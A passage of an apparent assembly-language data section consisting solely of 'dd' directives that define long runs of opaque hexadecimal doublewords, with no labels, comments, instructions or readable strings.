0EE6FB879h dd 58083726h, 0E3B492F7h, 0A22C9Fh, 9E0AA68Ah, 0D0AAD58Ah dd 1079D139h, 8D0EEA92h, 97F8EDBDh, 6707A21h, 2A320EEh dd 3FD46CF7h, 0F7D5F2EDh, 0D950E232h, 0CD68EC8Fh, 5D486EB8h dd 0CF792EFEh, 39169758h, 8A43CF71h, 0DFD2A7DCh, 0EDB2CC7Dh dd 942A9EE7h, 0ECC6AF16h, 93BBE468h, 939FB183h, 0E839AAB0h dd 0C8852576h, 0CB6149C5h, 0A3C45BAEh, 207C0C6Eh, 1E094DF9h dd 2455BF79h, 0AE9642DCh, 0CA1BF3D8h, 0AFD1E75Dh, 32E1FFA2h dd 0DA43FF62h, 56B30649h, 71329906h, 8EE63748h, 4C9BB2E0h dd 0ACDA4619h, 2BB7E3Eh, 3B51B9CBh, 50791636h, 367A70B1h dd 8D567E51h, 3D810891h, 261032D9h, 3D4D9139h, 0EF209195h dd 8073F269h, 341EF24Ah, 77580AB0h, 0BEDF7DADh, 2069B495h dd 95125E29h, 0BAAD67E7h, 0D72EB9E2h, 0B61FFDECh, 4C4709FEh dd 63640C3Dh, 29A063DBh, 8D713507h, 3A3EA6Dh, 47BEF435h dd 63D355F9h, 74CB1CADh, 72DC45CAh, 52BFB90Fh, 65F6C06Ch dd 15B8069Bh, 0EE481140h, 67B02AAh, 0C44586F0h, 5BE1A1AFh dd 0F5A974EBh, 0FDA3A89h, 9D212DC4h, 47BBBDCAh, 0AA5457E7h dd 5B100690h, 0F2349BB7h, 0D7273AC4h, 0CD87371Dh, 5E6F1527h dd 0E5C59C2Dh, 703C5864h, 3284A6C7h, 2EF55B0h, 0B70663A1h dd 6921BEB8h, 0B201F158h, 846C3CCCh, 0FD909BB3h, 708D1025h dd 0E34FDE10h, 5E1840D5h, 56A75736h, 0F440E549h, 0B07005C0h dd 705F9949h, 112F2742h, 0AD213D47h, 0DAA864h, 0DCC8421Dh dd 5864122Eh, 0F999C5CDh, 8F868EB5h, 0B97A57A1h, 42DFCE23h dd 6881081Eh, 8FD7DCC4h, 0AFC88E4Ch, 0C214BEC3h, 0C05115Fh dd 0C5287A61h, 6644276Dh, 6E8504C5h, 0EF34AC09h, 6CC4E165h dd 756A9819h, 1469145Bh, 7F0D3DE4h, 4C88291Bh, 0D8962EE5h dd 20A28513h, 76AB306Fh, 2FFE76ABh, 0A9CB3E3Fh, 0ECAB837Bh dd 2D235760h, 0ED716F41h, 0DFA70154h, 9A93CF9Ch, 3DA20D0Dh dd 0CEC4E99Bh, 582D80A7h, 1AC3AC5Fh, 0EF6F2D44h, 0D523E928h dd 13A7028Ch, 8BA99951h, 3ECBB429h, 0F04BCA3Dh, 3937ADFCh dd 89B184AEh, 1331A3D6h, 0D8A2C8AAh, 0BC4FE31Bh, 68AEEC67h dd 0CF9C2A5Ch, 0E9C92D76h, 79F42196h, 0A7F0256Eh, 981CFAC4h dd 0DBEAFB88h, 0F0960145h, 0EFEFD958h, 0B978F958h, 284E11D2h dd 2FC100EDh, 0C07C11AAh, 0BC64ACh, 0D97DB52Ch, 73F4829Dh dd 7438628h, 51686A54h, 63706E6Eh, 3511025h, 5361F5EEh dd 0BC9E9FA0h, 14BE67FEh, 27A5650h, 0C97E141Dh, 0B42DE754h dd 72C78AB1h, 6F41D7ADh, 481FB6CCh, 4F239D29h, 1D105F38h dd 56B42772h, 7EE52BC4h, 0A24CEFCFh, 0EED9617Ah, 0AC97A78Dh dd 6BD55F84h, 7B586967h, 0EF7A4B1Ch, 2CAC3852h, 474F73EBh dd 7A03EB6Ah, 83AF4C11h, 4C864DAFh, 57A1738Ah, 781B53A9h dd 91C3EDDAh, 4650AE25h, 756D4410h, 12C16F88h, 0FF6B387Ch dd 0F98D88DAh, 3A53397Bh, 34D7A9C7h, 0C20F8BDFh, 9D5B7D31h dd 0E8D56826h, 0A3CB4911h, 0D289142h, 95D30679h, 0F60A9FE5h dd 0CEF03C5Ch, 0E953CEA7h, 0C43B594Fh, 113694EEh, 3C693EA4h dd 0E1528183h, 0F3F0558Ah, 7D87A495h, 7E9C9AB8h, 21B1E038h dd 9C6709D5h, 6B78AE37h, 220F98B4h, 13122F65h, 0D13FFC98h dd 35511DC5h, 0F44D2649h, 385A7F2Ah, 89FE2CA3h, 0F2AADF54h dd 7FF1174Fh, 96B9AAFh, 1512490h, 337BEB2Ch, 211F2FB4h dd 0BB7C8E5Eh, 0EA8D3BD6h, 3E3535ABh, 0B88FE444h, 83FFA2D2h dd 6E48D71Ah, 5BE37E4Bh, 14F35613h, 96E8EBF5h, 573CBFFFh dd 36EEB444h, 53C37F5Fh, 176FE686h, 0D34D9870h, 1622DD07h dd 27DEBDCBh, 99D15A4Ch, 0DBD72E2Ah, 0EFE27760h, 32E44ACFh dd 0B7B8ADB6h, 85E4CCC2h, 470A23FEh, 774D57F6h, 0E5246FEAh dd 3BFC58Eh, 9835549Bh, 91C3416Fh, 854EC5DFh, 0FAE29BD3h dd 0AF7F200Bh, 1BC362D8h, 0D1E34DEDh, 8D2C4C1Ah, 652FE213h dd 0C720F54Ah, 0D6A8B65Ah, 9ED8ED6Eh, 60B7E48Bh, 1E23EA7h dd 15073657h, 39F8002Ch, 213C5F98h, 4BEBD564h, 4B04A641h dd 0ECBE11C6h, 0ED7372C5h, 6E787EB9h, 7A85586Ch, 8F310044h dd 3B8A2947h, 68A20500h, 3C93CCC3h, 0D133DF10h, 0BE3A5145h dd 0B45D54D5h, 3CBDF83Fh, 104C435h, 0FA3FE51Bh, 0DFB212CCh dd 44BC6A2h, 395BE68Eh, 0FCA46327h, 0C157D1B4h, 456DFFB6h dd 8D84A9F8h, 0B1BC111Ch, 0A181073Fh, 56031F5Ah, 76BE0D9Bh dd 889EFD12h, 10FD78ECh, 0E5087723h, 0D9605F7Ah, 0B130DBC4h dd 0A32CECA5h, 99021D78h, 7C9D216Bh, 96EC8BA1h, 2ADBEDECh dd 6FB987D8h, 5EC11A6Eh, 24615BA8h, 0FD43A8EFh, 7EB0DFCEh dd 51846F6Eh, 0EA6A1A95h, 71C31E78h, 66A1B4C1h, 0DEBFE2FDh dd 356140D8h, 0AA324714h, 54602A1Ch, 8B72F180h, 0C72F1787h dd 0E0B7B73Eh, 0F17BCA94h, 4253D5E6h, 98EA1202h, 0DBDE4A93h dd 31BB4926h, 88C7A886h, 0A7481C9Fh, 0CA5574B8h, 0C1AD446Dh dd 0A93F15C4h, 5624BFDBh, 0B53CD564h, 0F32B3388h, 0F2BB557Bh dd 3CA36016h, 11F4C084h, 0C4354F57h, 79383C41h, 10127FA3h dd 0A8A0933Fh, 287E964Dh, 0C3DEB4EFh, 3F65C9D5h, 0E9F85DD5h dd 927377Eh, 8C048158h, 0FA3B13F4h, 0B4E6C9h, 831DB2h dd 528F6A75h, 83E10355h dd 801502FBh, 717009DBh, 727AA2ABh, 2CBDA5Fh, 0B17EC7BAh dd 0F80075CDh, 0DC452C58h, 0B89BFD40h, 0EE330898h, 0B6E70E6Eh dd 473CDF9h, 3F6615Dh, 987DDB8Fh, 0B1B3E254h, 2E400FC8h dd 14601E5Eh, 28E3C23Fh, 0E6BA7F90h, 1322DE2Ch, 61FB7060h dd 4270AF17h, 0F74AA52Ch, 4E4EB4A6h, 0C6BCEA7Eh, 0BCBA6389h dd 0E755B7D5h, 514EFC32h, 0EE95261Fh, 5AC09E3Dh, 6B76AFDFh dd 8D46D269h, 4BA63D67h, 98793CB4h, 95A88C97h, 0D186611Fh dd 95D20F3Eh, 0A7BEB59Ah, 57C348BCh, 0BB036DEDh, 66B6C574h dd 0FB643257h, 7CFA4AABh, 1080B2Fh, 57AC60FFh, 0E793D565h dd 8F965D04h, 7C5455BBh, 48F7AD85h, 67BF54CCh, 4CCD1BB8h dd 8557F71Ah, 76009B4Bh, 0ED28545Bh, 0A5D0611Dh, 5CC886F9h dd 0BC64E7E9h, 0BDC1D151h, 0A15B622Ah, 94716620h, 0F61A6CBCh dd 91C5458Fh, 0F9984044h, 9D53F9D8h, 29931E35h, 0FA7DD688h dd 0CCF2B480h, 0E90EA293h, 0C6353D94h, 0F5501B15h, 30D1AEB0h dd 12480F08h, 4A178A20h, 0F587CB64h, 5D116B41h, 96D86BE4h dd 5287C223h, 2C27E1BDh, 0C036FA86h, 6CDC6094h, 69878A7Ah dd 0F94A4CA2h, 0ADC794EBh, 5E16FA7Eh, 2480CBA8h, 0FF54E0EFh dd 93ACDC77h, 0C53754E5h, 16BBFBA3h, 5843692Eh, 0A93D670Ah dd 0AC51805Fh, 63861CF3h, 0DF67E038h, 0D2B0BEF5h, 0FA370B6Fh dd 5B2A802Dh, 0AF2CB6D2h, 9E2AFA69h, 0E54351B5h, 5D2A7336h dd 0A60CB592h, 35AB493Ah, 0EE40B72h, 17CB415Eh, 0E0993440h dd 0CEDDBEEEh, 20D6B581h, 9B115F97h, 0EFB7D524h, 56FE4062h dd 0F6A505A1h, 0EE415B47h, 6AC284CEh, 33478568h, 0C4C4A68Dh dd 7EB39EA7h, 17AECDD2h, 380F98E1h, 0D12AED42h, 5763C4D5h dd 0FD6DDEDh, 0B7C86691h, 7841CAE9h, 0F5AED82Fh, 4D620918h dd 8DA81C8Fh, 0BFD54488h, 2D643B96h, 31F4282h, 0B604B5CDh dd 0D265E314h, 0A7877DABh, 0ABD573D5h, 2C016126h, 0A1AD92EEh dd 8923B94Fh, 13300DEDh, 8D083EEEh, 49D8C73Ch, 2C5DDB2Bh dd 25BB28C7h, 0EC57E2A2h, 0CE9BEAB1h, 45B6950Eh, 7DE6E867h dd 1E35BACBh, 5099B5A8h, 5F1618D0h, 48FA9AFBh, 74B42592h dd 33571970h, 9F347C82h, 0EB363E2h, 0E5CA2415h, 0FF8CCFh dd 9A9EFD2Ch, 5E8EF820h, 970F4D65h, 0C17274F8h, 472F3B9Eh dd 0A1B1BAABh, 5E6EF45Ah, 77241F28h, 0AAC2C713h, 0A6344B9Ah dd 544B0C45h, 0AE9A363Ah, 19C68632h, 671B77Dh, 4F1E4A49h dd 0C5384398h, 9204941Bh, 0FBFE126Dh, 7F77B270h, 0BE8952A6h dd 0CE56CC59h, 6FF70A57h, 16D39521h, 6A224538h, 0A6651AEh dd 0A573BC2Ch, 6BA16AD2h, 0A5449789h, 0C8B2FB58h, 23AA17D8h dd 0B19DA9EBh, 0C9DC6062h, 0FAC7908Fh, 41A0FA1Ch, 0CFE9CC08h dd 0D9C1CA0Eh, 9DEF8C16h, 3FC74208h, 15F05702h, 9D1D0A7h dd 0EEB2785Ah, 18857705h, 5D250620h, 8DCADEE0h, 3FE0F5CBh dd 0ECE973F8h, 6E18FE00h, 8A19A46Ch, 0F027157h, 29266C0Bh dd 0B5DC3857h, 0F088EE29h, 6526DBD4h, 611329B9h, 0CE98876Eh dd 86CD531Bh, 705F9F1Ch, 0F1418CEFh, 78E0AFD7h, 8F5DCF3h dd 0B2877702h, 0FF2BB129h, 0B89C639Fh, 0AC9EAB33h, 3234EFE3h dd 47EA9B8Dh, 0C2B20AA4h, 449FC25h, 4FEAF956h, 2FDCEC6Fh dd 0DBA03FFFh, 0FAE2EEA8h, 0B6EB545Ah, 0A89BE27Dh, 0F4E3A39Bh dd 0E989599h, 0ECCACDE4h, 7F8FB348h, 489A8C04h, 0A5F411E4h dd 9EBCD5F4h, 0A04414ABh, 7A2209D9h, 0D95FC0A2h, 99F82D94h dd 0DF8E14CEh, 1487CCEDh, 58E4CD00h, 3B46255Bh, 6E7291ADh dd 0A57894F8h, 0AF5512F0h, 0EBA89469h, 0FAC8B847h, 696EE901h dd 7B15D51Ah, 0F28B1B95h, 2E1A09Bh, 19DA4C86h, 58C9F90h dd 0D366FB9Ch, 3F1F66D5h, 35F2BBDCh, 75C9D45Fh, 2302616Bh dd 2CD98AD1h, 5B083506h, 0DCCAD293h, 0AA1CAC5Bh, 0D035085Dh dd 21BB714Eh, 0F5432F81h, 3711DBAFh, 0A9089251h, 71D0C4D5h dd 62B01F1h, 8BF61667h, 775CB6F7h, 71455298h, 0C05AAA7Dh dd 534334F4h, 3315B164h, 3790101Bh, 7DBA1CF2h, 0DAB3A9F5h dd 74F76B7Ah, 47F51621h, 4F1F3562h, 0EE6AE97Fh, 0DCE5D7F7h dd 0C3B48AF3h, 8D1F48EBh, 0AF7EAD9Ch, 9BC33595h, 65272FF9h dd 42246FD9h, 697AB9EFh, 0B240A797h, 23FBC08Eh, 0C90F3A63h dd 21C05C4Dh, 0EF27D109h, 0B25926B3h, 607503Dh, 7A4CB408h dd 1714DA49h, 0B391DAB3h, 0EA58AFC9h, 34ECAF88h, 6FA6516Ch dd 0B5A408F8h, 0EAD8E059h, 0C87D7422h, 2FCB11AFh, 6C6A917Ch dd 89CEFA9Dh, 7E452ADCh, 0AF4F2FD8h, 59F22D05h, 8C11363Fh dd 3A77EF0Eh, 0B171D7h, 6CFE4268h, 501C97D8h, 9DEF2252h dd 66977F08h, 55F3B054h, 89E56F3Bh, 0D7FF06F4h, 0A7B2E9D3h dd 0AA837874h, 0D33CD92Dh, 7CE82B32h, 90762071h, 82F37B30h dd 99B46B0Ah, 0ADE608A1h, 944965C0h, 0BC2D859Dh, 8A9620C5h dd 5BFFCBD4h, 9A9851AEh, 7F174A1Bh, 8C8B6A66h, 6AF5CF8h dd 0FBE1F0FFh, 79965F56h, 0CEFEF4F3h, 29E9FF06h, 0B38EBEA9h dd 6E0207C8h, 50F99CDAh, 35605CECh, 6BBC8629h, 0AB3486D9h dd 3A459E9Ah, 0FB2A16BAh, 0E335954Ch, 22B15F7Fh, 654473BCh dd 0EB96C7F4h, 78DBBE1Eh, 86FBF647h, 198624Fh, 7B231422h dd 8C1B4F33h, 0D8BBC557h, 831F15B7h, 375EE5F1h, 1A2C9E60h dd 3F4F9E82h, 5D495549h, 63BCA72Ch, 30B99147h, 992E4CA4h dd 66C9A549h, 0B09582AFh, 0D2AC7420h, 931AAC30h, 0C2524817h dd 0F8F0C13Eh, 0EBD9DF2Dh, 0DEFE251h, 842B4D29h, 0AADAB0D4h dd 763924E0h, 4D7C674h, 0D9DBD9BDh, 5420B317h, 0FFE3D2BCh dd 80C0975h, 668C129Ch, 7A3D28D0h, 11CB88D9h, 0DEC6793Ch dd 0D604524Fh, 38702E13h, 5ABD1C83h, 0ED70F229h, 36D1AE45h dd 786B2BA6h, 0B0E86C9Ch, 0B4072222h, 0CAA7ECFBh, 0BFE35EDCh dd 643E8Ah, 54CD1F1Bh, 0CD084FA9h, 1E979214h, 9099EC03h dd 0F0745D5Dh, 71CA5A3Ch, 5E75891Fh, 721364A3h, 0EFF8DA68h dd 2624F0B7h, 0D11B8BEDh, 47B137D2h, 0D2FF7951h, 6A04048h dd 0F36B8833h, 6F8B5523h, 56A8F2BFh, 7BD26FF0h, 449AC1E4h dd 64CBBFFAh, 0BEEC194h, 63F2B47h, 0ECFB01DAh, 74200A5h dd 0BC7D27DEh, 4C6FFBEBh, 22612431h, 47AB397Bh, 0FF0456h dd 5F3CCBAAh, 0BFAB611Fh, 0A8535847h, 0E5E4F8F5h, 0CFC4CCCEh dd 6CBE6BA7h, 7A7B09F9h, 0AC3D9964h, 59504BE8h, 0EDBB3D10h dd 176058D0h, 58AAA9A7h, 8C6EE6CEh, 0BF47DC4Dh, 5213C1FCh dd 8B135987h, 9C039693h, 0D695D0E0h, 7E1EB301h, 6C3CC32Dh dd 1483BC74h, 723B84D5h, 515C0EBFh, 7A45AA49h, 849C30A3h dd 44A5F56Bh, 18F7CCC7h, 599F876Ch, 0DA9C2925h, 33E5CFC7h dd 14C1391h, 55D61EE4h, 0C303E45Dh, 0C7318ED7h, 941AF948h dd 38620ABFh, 85665FE5h, 0DEC0B99Dh, 924D952Fh, 0C3DD098h dd 0B18195FEh, 0E97EF238h, 0FDD94BE7h, 0AF7D3A0Fh, 16CE3787h dd 629EC0E0h, 0D44D9622h, 0E938C6C1h, 0F609F3EFh, 2B4A1DFFh dd 44EC1F2Ah, 6FACF524h, 0C9509003h, 38A77856h, 21B96C1h dd 4426F6DFh, 0BB56E20Dh, 898EFB5Fh, 73D8F5D6h, 7F57429Dh dd 0CB7A9CC8h, 0B9D91B12h, 0C623DA1Fh, 0BD09598Ah, 5EA510C1h dd 3098742Bh, 79263CFBh, 0B9437017h, 10D039B9h, 3DABCAFh dd 0A7D4CC61h, 28BC6739h, 0D2CAE342h, 3635C1D5h, 0AEB2CD54h dd 0F415E922h, 282B0FB7h, 79ACD5C4h, 2FA776Dh, 815BFA32h dd 8C553813h, 0FB28B1ECh dd 0F95B8B9h, 5304C820h, 68F21D8h, 0DF359CE5h, 98510445h dd 0A58370BDh, 0D53CD9DFh, 0DE9C3365h, 105E49C7h, 0B0FDF84Fh dd 0BF332181h, 2CCBAD29h, 0C58BFC3Fh, 0F8166905h, 78EFB7F8h dd 3BD954Fh, 61092966h, 9719A10Bh, 69E36326h, 0B90D2491h dd 0FA81A164h, 0FF7C71EAh, 4DC0D73Bh, 6A2A797Eh, 9AD4D56Dh dd 43BAD362h, 53468603h, 15BAE14h, 8BA12B5Bh, 77E796E3h dd 0DB44566Ch, 0A7F7F167h, 6BC35277h, 7C7BFC5h, 52DAF9DCh dd 9C90D403h, 30DF47BFh, 0CF6A127Ch, 59E9AACFh, 96C89450h dd 0B72DD6EBh, 0DB7AF76h, 267751D3h, 582C9874h, 763F80A0h dd 278BDA5Ah, 0A6E810C3h, 2033424Ch, 0CE72C6ABh, 0ECCE90A8h dd 571BB5AEh, 0D4A7471Bh, 2C2BD1F9h, 238BFD7Ch, 0D2BA9D40h dd 4D686545h, 14863080h, 0CC2950E4h, 52118795h, 79AC805Ch dd 0F7FB75B9h, 541680DCh, 4CE9CADh, 5B038B44h, 0B46B58E8h dd 19950D74h, 0F843E891h, 2BE381Fh, 2A9DEEB8h, 4E01CDF8h dd 7B04046Bh, 7D583B11h, 0C17CC948h, 0F456B29h, 4181FF35h dd 8BE6138h, 0FEDC53A9h, 0F4243F7Fh, 13671225h, 0FE736E02h dd 9D7241E0h, 4618F61Fh, 881AF562h, 51B7EFF8h, 9231E566h dd 4839B895h, 4DC212B0h, 0E9C7BE75h, 261A6677h, 0E6285926h dd 0ABC7835Fh, 0A259129Fh, 57A297B6h, 0D2B36690h, 71CAD3Fh dd 1D25453h, 0B1DA3FAEh, 932BFA78h, 41479E5Ah, 542A8400h dd 66400B4Eh, 0DD43C92Ah, 0D8AF2E59h, 0A7DA3A91h, 0B53F40AAh dd 113B172Eh, 22B341A3h, 0A4894564h, 0DC0B9094h, 9EDC514Ah dd 0E11892B6h, 65B6A49Ch, 7C5CE8ACh, 0BC79B523h, 12E20CADh dd 0CC179DA7h, 2E73BDADh, 6ADCFF6Ch, 97DFD079h, 11603729h dd 630A8E12h, 19EF60D1h, 0FDAC130h, 84CA6482h, 39BE12D3h dd 0B856D4EBh, 1FA35CFDh, 1DEE31F6h, 0BE1EFC77h, 80798E36h dd 6534115Fh, 0DF0E7D2Eh, 6B6A7878h, 0F4838DF8h, 3E045073h dd 0A5DC0319h, 2AED1E3Ah, 43F8974Dh, 229C7359h, 951BA27h dd 7E471087h, 898BA72Ah, 1EE7A4ACh, 36415BD6h, 0AC9B7EA9h dd 76DC8CE7h, 0C64E4D82h, 3DCBD9EBh, 7865D16Ch, 7B80346Dh dd 7542D7F3h, 0E892734Eh, 12AD7CA7h, 29C45D9Eh, 0EC4B35FFh dd 0EC1E8001h, 4C5A9F5Ah, 0AB342308h, 3A4854ADh, 80277490h dd 0E432BBEAh, 0A9C0FA78h, 321B2BD8h, 4E2A840Ch, 6A400B4Eh dd 87F9C19Eh, 9B75BBD1h, 0E244AA14h, 0A61D5EAAh, 3EF5B426h dd 0A709A9EBh, 0D1BA7631h, 22FB3B62h, 9E5C3FF8h, 81A15AA4h dd 19E971AFh, 0B6998E52h, 6C098523h, 60DF4B79h, 6C98D1AEh dd 0A7DAFC1Dh, 6A90D6D2h, 0D2696B2Dh, 15701455h, 0E4897959h dd 3844B65Eh, 898524CCh, 14A755A1h, 25BE13DDh, 0A456D469h dd 5322CE30h, 0D45D8833h, 0BB7EC09Eh, 2540FBBEh, 71C1DFA3h dd 53426D2Eh, 0E581856Fh, 0B6AC0C3Fh, 40BED406h, 87631866h dd 0BF960DAAh, 64D9976Ch, 0A1B06B3Ah, 63139BC8h, 7EF16484h dd 4043EDF1h, 8B8637F5h, 0B436CE57h, 6A62FDE7h, 0DFDE9EDFh dd 40299933h, 5B75BBA8h, 0F0DBB8EFh, 7D2BA077h, 0E4F78EBh dd 0E9BCADFAh, 1EC67CD2h, 63BDDA8Ah, 5B01B0EAh, 654E862Ch dd 9332241Bh, 0CA633914h, 8BB3A94Ah, 0C72E2649h, 2D660E5Fh dd 0B2C77985h, 89F83848h, 88ED8853h, 3BCBB3E4h, 0DDEE8D97h dd 0D3136BD0h, 3D4B87A6h, 0DE10B0EFh, 0BD6A8C5Dh, 0EC7F15AEh dd 0BBD46731h, 0A5BA1214h, 0DA51598Bh, 5120108Ch, 0E4756763h dd 7AA34147h, 0ACFDF35Fh, 16627945h, 44206327h, 41A65FADh dd 0AC5A3B3Ah, 0C21D1B7Ah, 0C9368056h, 2C21C705h, 0B1AA1B44h dd 0A9850C99h, 0FA2A9108h, 62BB9FD0h, 0E8569BB3h, 19DE9BFAh dd 0E78D28B5h, 0BC684B25h, 70795EDBh, 324CD7ACh, 2ABD7252h dd 0F8C48EBEh, 4420893Fh, 0CF49A65Eh, 96706EE7h, 0C786E750h dd 9ABB6B6Ch, 89505AB5h, 9F13A7EBh, 68AD9B94h, 0DD3E2585h dd 0CE4C67F9h, 0FEF930B4h, 0E9753C34h, 0F48A411Bh, 0CDBFF22Bh dd 47608414h, 7A57F128h, 1B7D7592h, 84A741A5h, 62B8BB81h dd 74908F74h, 86078129h, 53443545h, 657BB0FDh, 0DEB125E0h dd 9705A3C3h, 724C214Dh, 0CC317EE7h, 640ECA0Ah, 9A2BFA69h dd 91A7114Bh, 812A4075h, 0B6AD542Eh, 0ADAB8EEAh, 0DB676BD0h dd 59C01FBAh, 0C6A48D2Bh, 93C6C99Ah, 6B8E1ED1h, 5EC898B0h dd 0B7FAA11Fh, 1E96D2CEh, 519E5577h, 183C5094h, 0B2BB807Fh dd 0ECE517A8h, 3FF97D31h, 0C7056360h, 4D248424h, 0F3130A0Eh dd 0D269D581h, 0F8F370BEh, 0EB3A1D8Dh, 768EE821h, 8C6B4F2Ch dd 0E621DAD7h, 8B27DB13h, 0E3135C2Dh, 111A7316h, 0D8A2C540h dd 0BB97B4EAh, 0F9868050h, 0FD8456EFh, 0A2527D7Eh, 1B8105BDh dd 0B2017160h, 25EAD7Ah, 46696ADFh, 58B08F90h, 0F1CC3EA0h dd 0CC35D2C5h, 5123D217h, 43CB9A54h, 6F80EE4h, 0C6467F9h dd 0BB1F9E1Fh, 0A4C47398h, 33A64AF7h, 2DFCBB6Ah, 5B888C14h dd 698C7318h, 0F776F792h, 4D2FA337h, 957F65FFh, 7490BFE1h dd 0EEF1358Ah, 5344DF97h, 6AB5626Ch, 57A1E514h, 904C6018h dd 6A06C8Eh, 2F3E01B4h, 0DBCCE3C1h, 36A83C99h, 8ABC1BFCh dd 2D54C38h, 33D3BFD1h, 0E5284A90h, 50AE822Eh, 0FCA14451h dd 0E308F564h, 0FD8E8C11h, 42EF5023h, 0FECDDFFh, 0B079094h dd 89651C01h, 0AD6D40B5h, 21BDB494h, 8908FCAFh, 0F0988F57h dd 0EE8D8CBAh, 2C8B2EA7h, 59D84EAAh, 58B91D60h, 8B966B74h dd 54CBF656h, 0EB3A0CE6h, 0E1434ECAh, 71368286h, 0BF43C8DFh dd 0FC3B182Ch, 0E056D88Dh, 79CB6414h, 0A7753A63h, 0FB6B24D9h dd 6791193Bh, 0B47BAB62h, 0CBFED0E9h, 53D8FA43h, 7CE98E6Bh dd 4D41D97Bh, 56629AE7h, 937D8C42h, 0F1729069h, 0F8AFCAF8h dd 7C33A4C3h, 6D8D64DCh, 0E197B4F1h, 4C2D9817h, 0F6FF169Bh dd 19DCBC13h, 58A18A98h, 3F3C2EAEh, 0D08A8ED5h, 7E8539FBh dd 0BD886993h, 4F8FA749h, 27D68A7Ah, 74D8061Dh, 0EAF7386Ah dd 53442F77h, 655EE4CDh, 0E53528EFh, 6038609Ah, 64C230Fh dd 0E1AA095Bh, 8E330E6Eh, 78D4901Ah, 72AD6BE7h, 0E9EE0774h dd 0CC07FA9Eh, 0C4DEB568h, 0CA837E2Eh, 4C765451h, 0B524B0EFh dd 0A972491Eh, 0E3C743AEh, 5C367A4h, 0AAF73D49h, 5AF6A675h dd 0CC93AA82h, 0A2CB2494h, 1CFF4A02h, 27D4DDA9h, 71F7DF15h dd 47C436ABh, 66A300E0h, 52D1224Ch, 0F71D6D4Eh, 0EDF86CDEh dd 0FB36ED87h, 75280F61h, 73961641h, 129CCCD2h, 76044CE2h dd 5FFB05B0h, 80216497h, 339AF26Bh, 5197DE8Fh, 57911F2Fh dd 1E8454BBh, 7737347Ah, 0AB798670h, 965662D6h, 16BE09FCh dd 7F0828C3h, 3C0FF3B4h, 9DA7B3AAh, 70D9D8B7h, 7555518Fh dd 8544E717h, 8F2696A1h, 0D0D1E409h, 324C5E34h, 0ED573C1Eh dd 3B2F1E90h, 409B1B69h, 0DB8A7E50h, 91DB08E7h, 0FFC5468h dd 1233C5EFh, 8EE9D1A0h, 0FDC574FFh, 7B14B7AFh, 0D84543A9h dd 8D0E6DD9h, 0A84ED715h, 1E30A5DFh, 0F9B7A06Eh, 0B2D1F9B4h dd 5BFB8D6Eh, 0E2B07EDh, 4354ED09h, 0EDD8007Ah, 104EBF17h dd 0A1C150E4h, 471B2E5Ah, 203B15B9h, 0AAA03310h, 0C51A8C11h dd 0F766C651h, 5D2498A0h, 0D9E79094h, 94955B72h, 2F10ADC9h dd 0E1FF5B93h, 66E7ADDFh, 0E39ECD2Bh, 2BF28B31h, 87390B60h dd 4F3690C9h, 2F51C7B8h, 0E0941342h, 56241938h, 177F3A69h dd 0A1ABFD9Bh, 0C9A9F4B2h, 0FA27D353h, 4E9D77D0h, 0E4E5AF52h dd 84358A86h, 0BA997F3Fh dd 9087B431h, 0B3CC477h, 4B781131h, 81BEC3F8h, 51C9F9F6h dd 0FD899DE7h, 45286h, 40607423h, 84479544h, 818839A4h dd 0C304C2D0h, 0F506614Ch, 0F0A6886Eh, 670915C7h, 20F8F38h dd 6D591CA5h, 6CAC7865h, 5BFE5FDBh, 0DDC91BB6h, 5B81BD7Ch dd 69DE4CFFh, 34F8FD92h, 0BC1F05BEh, 27F58A7Eh, 4F79EE9Eh dd 0ECF8B03Ah, 8B2DE32Eh, 0D4E4665h, 47B13C3Fh, 972850F6h dd 0E88AE82h, 0A8C60110h, 3DCCF0C7h, 0E7703AB1h, 0DF6C3227h dd 952AA3AAh, 8E9EBF00h, 10FD197Ch, 0B71B3646h, 29A675BBh dd 612DE91Fh, 0E8CD36A6h, 36DF6051h, 0C5535D66h, 491AD5D8h dd 6948598Ah, 976DBEB5h, 288234D1h, 69AE8A47h, 0E0EBC7F8h dd 3EDA54C1h, 35DB002Eh, 0D3292BDBh, 0BFCC5A2Bh, 82044179h dd 429591BDh, 23A6A0AEh, 38AF795Eh, 938A5BF1h, 73E83D5Ch dd 8C002D5Eh, 86CFBEh, 54CE5FB6h, 58611A85h, 4B1E7EF9h dd 0CD22EEFAh, 307BC13Ah, 82BE1121h, 15D404C3h, 115622DFh dd 267AD1E3h, 59E17770h, 0A1F91720h, 0E3879BA3h, 0DA750A49h dd 4E83DE04h, 0A1947AC3h, 0F377F2AFh, 720663FAh, 9BC1764Fh dd 0FA678213h, 2AB0CA12h, 5AF732EDh, 8AA5BF37h, 71D9F02h dd 0B3E35A19h, 6417273Dh, 916C4BADh, 0B6253DDDh, 3D37A706h dd 0AC244FF2h, 9595FFF3h, 950F9B6Dh, 97004D7Dh, 8B746993h dd 0C72A05CEh, 0AD680012h, 52C670EBh, 29268D9h, 5D3D46CFh dd 631819FFh, 30203D01h, 1556FA81h, 0D2C335FEh, 0E16FADA4h dd 0DBDF43F3h, 144F15C7h, 1AB9C7ABh, 0B03F5C6Ch, 0A8045DC5h dd 0F82F57AAh, 0F519C368h, 19154149h, 9DE7BB7h, 259A09C9h dd 0BD0966F2h, 0D1C93471h, 3CDDF6FEh, 1304885h, 0F49F72ACh dd 98D4F89Dh, 4AFB9EE0h, 4EA4934h, 4D00652Ah, 731870CDh dd 0C8A90245h, 51D632A8h, 0A43CC9D5h, 0FB958A26h, 0F5F5E4CFh dd 2CD544C1h, 0D5462074h, 618D72E4h, 768C8D88h, 0D28B50ADh dd 0C5607B4Eh, 8775C97Ah, 9F87426h, 5E703E4h, 0E48EA97Ch dd 0BD80BA7Eh, 66DD190Bh, 8C719BB5h, 1CCC1216h, 0A1B2301Ah dd 7BBA2365h, 0B0B2999Bh, 1EAD2BF6h, 3E727C6Fh, 0AE28011Ah dd 0F2007B4Ah, 0E1B2EAF5h, 0A096CCB7h, 6DF4F903h, 420AE18Ah dd 639D30CBh, 918D35D7h, 97D7F9A7h, 43BB7598h, 47562C99h dd 1C7AFE13h, 0AE358F8Eh, 32A608C9h, 0A621A3h, 33C7F770h dd 0C0BB2D24h, 0E2FE2B78h, 5C43C57Fh, 8785B082h, 18E2CF15h dd 5F4A141Ch, 135C97F9h, 293BD457h, 4CC81C67h, 0EB11264Bh dd 0CA66E5DAh, 2313E1DEh, 3E5E59BEh, 112F89C1h, 0CE2320A8h dd 0C4613CDCh, 1054497Ch, 0A3C80E0Eh, 881E52DCh, 0EF6FF721h dd 5D2819Ch, 0D8F055CCh, 0FEDCDBAFh, 0CCB42ADEh, 0C8F0EDAFh dd 